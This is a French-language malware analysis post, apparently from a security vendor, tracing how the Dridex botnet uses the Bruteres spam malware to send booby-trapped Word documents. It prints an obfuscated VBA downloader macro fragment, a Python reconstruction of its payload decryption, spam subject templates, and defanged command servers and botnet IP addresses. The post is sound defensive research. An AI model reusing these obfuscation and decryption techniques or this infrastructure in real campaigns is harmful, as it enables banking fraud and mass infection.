Introduction

Depuis quelque jours, le spam Dridex a repris du service avec une ardeur renouvelée. Nous avons vu précédemment comment les opérateurs Dridex peuvent prendre le contrôle d’un poste via des logiciels tiers afin d’opérer des transactions bancaires frauduleuses [1].

Nous allons aujourd’hui remonter un peu plus haut vers la source du problème, à savoir comment les emails à l’origine des infections Dridex sont envoyés. Via l’utilisation d’un malware externe nommé Bruteres, aka Trubsil.C (Microsoft) ou encore Fidobot.A (Trendmicro), Dridex semble en effet capable de transformer n’importe quel poste infecté en machine à spam qui va propager les fameux “.doc” Dridex.

Contexte

Le botnet Dridex est divisé en plusieurs sous-botnets identifiés par un entier nommé “botid”. Les sous-botnets les plus actifs en Europe jusqu’à présent ont été :

  • Le botnet 120, qui a notamment ciblé la France entre les mois de juin à septembre
  • Le botnet 200
  • Le botnet 220

Après le takedown du mois de septembre, le centre de commande de Dridex a été mis hors-ligne plusieurs semaines, jusqu’à début octobre où un nouveau centre de commande Dridex a fait son apparition. Les botnets 220 et 120 ont alors refait surface via les vagues de spam habituelles. Le plus gros de l’activité des botnets semble se focaliser présentement sur les banques du royaume unis et d’Asie, bien que les banques françaises restent ciblées, notamment pour le vol d’identifiants de connexion.

Le 22 octobre, Lexsi a pu observer que le botnet 220 a émis un court instant un ordre de téléchargement à destination de certain des postes infectés du réseau. Il s’agissait d’un exécutable malveillant, comme précédemment pour le logiciel Ammyy Admin [1], dont nous allons analyser le comportement.

Aperçu du binaire

Le fichier analysé ici [2] a été téléchargé le 2015-10-22 par au moins 2 postes infectés du botnet 220. Un coup d’oeil rapide au binaire nous apprend qu’il est protégé par un crypter. Un bon moyen de s’en rendre compte est de regarder, par exemple, le nom non-standard des sections ou encore les suites de mots aléatoires présents dans le fichier, typique de certains crypters.

Lexsi dridex_packed

L’obfuscation ici est relativement triviale et le binaire original se retrouve rapidement déchiffré en mémoire. Il s’agit d’une application Delphi d’environ 364Ko compilée vraisemblablement le 2015-08-17. C’est une souche du malware Bruteres/Trusbil/Fidobot, malware connu depuis au moins 2013. Une rapide analyse des types et units Delphi, via par exemple le logiciel IDR [3], nous permet de prendre rapidement connaissances des capacités de ce malware:

Lexsi Dridex_units

A première vue, ce malware semble utilisé à de nombreuses fins comme le bruteforcing d’identifiants de sites webs, ou encore l’envoi de spam. Le type TCmdGet semble particulièrement intéressant ici, laissant supposer que le malware a la possibilité de récupérer une liste de commandes à effectuer depuis internet. De fait, une analyse dynamique nous apprend que le malware échange avec son centre de commande via les adresses suivantes :

  • hxxp://sprwinupdate.com/checkres.php
  • hxxp://sprwinupdate.com/cmd.php
  • hxxp://sprwinupdate.com/bruteres.php
  • hxxp://sprwinupdate.com/emailcheckres.php

L’analyse du binaire indique que le protocole utilisé est HTTP. Aucune trace visible de chiffrement n’étant visible, nous pouvons voir de quoi il retourne en observant le trafic généré par le malware lorsqu’il accède à l’adresse la plus intéressante, à savoir hxxp://sprwinupdate.com/cmd.php.

Spam machine

Le protocole de commande du malware Bruteres est des plus simples. Aucun chiffrement n’est utilisé, le malware reçoit simplement une liste de jobs à effectuer via l’adresse cmd.php. Dans le cas précis du malware analysé, les ordres reçus sont invariablement des demandes d’envoi de spam. Un exemple de commande d’envoi de spam est disponible en ligne [4]. Chaque ordre envoyé est composé, dans le cas du spam, de :

  • Une liste de 30 serveurs SMTP, chaque serveur étant accompagné d’un identifiant SMTP utilisateur (probablement volé)
  • Une liste de 2000 adresses cibles (botid-_26051.txt)
  • Une liste de 1000 noms d’expéditeurs, probablement généré aléatoirement (4.txt [5])
  • Un document Word (36097.doc [6])
  • Plusieurs templates servant à forger les différent champs d’un email (nom de la pièce jointe, sujet, etc)

Une seconde requête envoyée par le malware renvoie un document différent d’identifiant plus grand, de nouveaux identifiants SMTP et 2000 adresses emails de destinations différentes (là aussi avec un ID croissant). La liste de noms d’expéditeurs était cependant identique. Si les ID sont réellement croissants cela laisse donc à supposer que, pour ce serveur de spam précis, plus de 5 millions d’adresses emails sont disponible et plus de 35000 fichiers Word différents ont été envoyés.

Si l’on s’attarde sur les templates du sujet de l’email, on retrouve le type de phrase utilisée par Dridex, ce qui laisse à supposer que le document .doc contient également la macro usuelle Dridex:

{ACH|Wire|Quick|Fast|BillPay|International|Automated Clearing House|Domestic|SWIFT|SEPA|Overnight} {transfer|payment} {Status|Transaction Status|Transfer status|Recent Status|The Last Status|General Status|Updated Status|Changed Status|Payment Status|State}

Afin de confirmer qu’il s’agit bien là de Dridex, une analyse du document Word est nécessaire.

Analyse du document Word

Le document Word [6] récupéré par l’instance du malware Bruteres contient des macros VBA obfusquées, comme en témoignent les nombreuses lignes de codes inutiles et le nom aléatoire des variables utilisées. Comme il est coutume, nous cherchons à retrouver au sein des macros l’adresse de téléchargement du binaire de Dridex qui est encodée quelque part dans le document. Celle-ci peut se repérer grâce au mot clé “Open” présent dans la ligne :

KjDJbMYhykW5A.Open FZRfhv43w8Wn(Chr(217) + Chr(247) + Chr(195), "Hhv9BbfkfdivZhMax"), FZRfhv43w8Wn(Chr(246) + 
Chr(225) + Chr(217) + Chr(182) + Chr(145) + Chr(146) + Chr(16) + Chr(61) + Chr(13) + Chr(1) +
Chr(89) + Chr(38) + Chr(43) + Chr(13) + Chr(76) + Chr(36) + Chr(35) + Chr(70) + Chr(110) + 
Chr(26) + Chr(26) + Chr(74) + Chr(122) + Chr(61) + Chr(16) + Chr(73) + Chr(63) + Chr(42) + 
Chr(86) + Chr(96) + Chr(43) + Chr(16) + Chr(125) + Chr(22) + Chr(4) + Chr(53) + Chr(58) + Chr(23) + Chr(66) + Chr(48) + Chr(16) + Chr(51) + Chr(44), "CCe1BT9Rja2"), False

Il semble que Dridex ait complexifié légèrement l’obfuscation des chaînes de caractères dans ce document, comment en témoigne l’utilisation de la fonction FZRfhv43w8Wn(data, key), qui n’est autre qu’une méthode de chiffrement définie à la fin du module de macros. Cette méthode est évidemment obfusquée. Une analyse manuelle permet de reconstruire le chiffrement en python :

def decrypt(data, key):
    key = map(ord, key)
    array2 = range(256)
    array2.extend(range(0, 286-256))
    ubound = len(key)-1
    for i in range(1,7):
        array2[i+249] = key[ubound-i]
        array2[i-1] = key[i-1] ^ (255-key[ubound-i])
    res = []
    i = 0
    t = 0
    f = False
    for c in data:
         if t > 285:
             t = f and 5 or 0
             f = not f
         c = ord(c) ^ key[i%len(key)] ^ array2[t]
         i += 1
         t += 1
         res.append(c)
    return "".join(map(chr, res))

Appliquer cette fonction à la ligne vue précédemment permet à l’adresse de téléchargement d’apparaître :

  • hxxp://hoiandesign.com/images/_notes/p0.jpg

Il s’agit là encore d’une nouveauté : non seulement l’extension “.jpg” n’avait pas encore été utilisée (à notre connaissance), mais le fichier en question semble chiffré. Explorer un peu plus en avant la macro du document permet de retrouver le chiffrement utilisé :

EEzEUbNHYfhr XW4QKucq4Ih, FZRfhv43w8Wn(StrConv(KjDJbMYhykW5A.resPonsebodY, vbUnicode), 
    FZRfhv43w8Wn(Chr(196) + Chr(169) + Chr(254) + Chr(205) + Chr(253) + Chr(136) + Chr(87), "RBfBPOfWe9xe"))

Le contenu du fichier téléchargé (resPonsebodY) est donc par la suite déchiffré via la méthode vu précédemment. La clé de chiffrement utilisée est la chaîne “Coded87”. Une fois les données déchiffrées, nous obtenons un programme exécutable [7] qui n’est autre que le premier stage de Dridex, la boucle est bouclée.

Afin d’aller plus loin, il peut être intéressant de jeter un oeil à ce stage 1. Nous avons vu dans un billet précédent [8] comment déchiffrer la configuration statique des binaires Dridex. En utilisant cette méthode sur cet exemplaire (une fois désobfusqué), la configuration initiale suivante apparaît :

<config botnet="301"> <server_list> 46.37.1.88:473 91.142.221.195:5445 198.89.98.212:3443 </server_list> </config>

Nous sommes ici en présence du botnet 301 ! L’analyse de la configuration dynamique (les web injects) de ce botnet ainsi que la liste des adresses emails destinataires aperçues laissent à supposer que ce botnet cible principalement l’Amérique du nord.

Conclusion

Encore une fois, Dridex semble s’appuyer sur des programmes tiers afin de mener à bien ses opérations malveillantes. A l’aide d’un malware peu sophistiqué, Bruteres, le botnet est capable d’envoyer des millions d’emails piégés. Grâce à l’analyse de ce malware, nous avons ainsi pu voir la manière dont les spams Dridex sont construits et envoyés.

Si vous détectez du trafic SMTP illégitime sur votre réseau, cela peut être le signe d’une infection par Dridex. En cas de doute, n’hésitez pas à contacter notre équipe de réponse à incident [9]!

Références

[1]https://www.lexsi.com/securityhub/6771
[2]https://www.virustotal.com/fr/file/d34a55b669d2f80ed379d46aa7581fd7a648a931059c002444ce44c3dd6f31bf/analysis/
[3]http://kpnc.org/idr32/en/index.htm
[4]http://pastebin.com/93nPZhQY
[5]http://pastebin.com/nyVeKjP4
[6]https://www.virustotal.com/fr/file/d3000190a55a197da1401dcf3dfdc84ca729a633ac5c7af7124f2b3ca09ae344/analysis/
[7]https://www.virustotal.com/fr/file/b029113af448c4055bd101cd7397820b21dbfef19b3dfd7e7f0f77fdeef9c3ee/analysis/
[8]https://www.lexsi.com/securityhub/dridex-teste-les-pieces-jointes-lnk/
[9]https://www.lexsi.com/fr/appel-d-urgence